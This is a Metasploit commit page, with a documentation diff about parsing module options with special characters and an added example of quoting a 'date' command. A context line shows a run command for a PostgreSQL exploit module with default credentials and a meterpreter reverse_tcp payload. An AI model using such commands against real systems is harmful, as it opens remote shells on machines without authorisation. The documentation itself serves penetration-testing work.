Land #17444, Fix parsing of module options with special characters

This commit is contained in:
Grant Willcox
2023-01-31 10:42:16 -06:00
6 changed files with 53 additions and 3 deletions
@@ -102,6 +102,12 @@ use exploit/linux/postgres/postgres_payload
run postgres://postgres:password@192.168.123.6 lhost=192.168.123.1 lport=5000 payload=linux/x64/meterpreter/reverse_tcp target='Linux\ x86_64' verbose=true
```
You can set complex options using quotes. Example:
```
set COMMAND "date --date='TZ=\"America/Los_Angeles\" 09:00 next Fri' --iso-8601=ns"
```
### URI support for RHOSTS
Metasploit also supports the use of [URI](https://en.wikipedia.org/wiki/Uniform_Resource_Identifier) strings as arguments,